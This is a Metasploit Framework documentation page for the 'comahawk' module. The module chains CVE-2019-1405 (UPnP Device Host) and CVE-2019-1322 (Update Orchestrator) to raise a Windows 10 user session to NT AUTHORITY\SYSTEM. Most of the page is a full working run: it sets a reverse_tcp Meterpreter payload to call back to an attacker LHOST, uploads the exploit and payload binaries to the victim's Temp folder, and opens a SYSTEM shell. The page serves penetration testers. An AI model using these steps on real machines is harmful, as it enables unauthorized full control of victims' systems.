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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/windows/local/comahawk.md
Views: 11789

Introduction

This leverages two vulnerabilities on specific builds of Windows 10 to move from an authenticated user of any level to NT AUTHORITY\LOCAL SERVICE and then from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM. The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to NT AUTHORITY\LOCAL SERVICE The second (CVE-2019-1322) leverages the Update Orchestrator Service to elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.

The exploit works by creating a new service, so the exploit may take up to minute on test systems, and may take longer in the wild. Adjusting the exploit_timeout value in the datastore.

Usage

  1. Create a session on the target system under the context of an authenticated user.

  2. Begin interacting with the module: use exploit/windows/local/comahawk.

  3. Set the PAYLOAD and configure it correctly.

  4. If an existing handler is configured to receive the elevated session, then the module's handler should be disabled: set DisablePayloadHandler true.

  5. Make sure that the SESSION value is set to the existing session identifier.

  6. Invoke the module: run.

Scenarios

Windows 10 (10.0 Build 17134) x64

[*] Meterpreter session 1 opened (192.168.135.168:5555 -> 192.168.132.125:49674) at 2019-12-11 18:33:09 -0600

meterpreter > sysinfo
Computer        : DESKTOP-D1E425Q
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-D1E425Q\msfuser
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/comahawk 
msf5 exploit(windows/local/comahawk) > set versbose true
versbose => true
msf5 exploit(windows/local/comahawk) > set session 1
session => 1
msf5 exploit(windows/local/comahawk) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/comahawk) > set lhost 192.168.135.168
lhost => 192.168.135.168
msf5 exploit(windows/local/comahawk) > show options

Module options (exploit/windows/local/comahawk):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   EXECUTE_DELAY    3                yes       The number of seconds to delay between file upload and exploit launch
   EXPLOIT_NAME                      no        The filename to use for the exploit binary (%RAND% by default).
   EXPLOIT_TIMEOUT  60               yes       The number of seconds to wait for exploit to finish running
   PAYLOAD_NAME                      no        The filename for the payload to be used on the target host (%RAND%.exe by default).
   SESSION          1                yes       The session to run this module on.
   WRITABLE_DIR                      no        Path to write binaries (%TEMP% by default).


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.135.168  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64


msf5 exploit(windows/local/comahawk) > run

[*] Started reverse TCP handler on 192.168.135.168:4444 
[*] Attempting to PrivEsc on DESKTOP-D1E425Q via session ID: 1
[*] Exploit uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\TcpHnwmv.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\EubQLoJJbPMX.exe
[*] It may take a moment after the session is established for the exploit to exit safely.
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 2 opened (192.168.135.168:4444 -> 192.168.132.125:49679) at 2019-12-11 18:35:35 -0600

meterpreter > sysinfo
Computer        : DESKTOP-D1E425Q
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >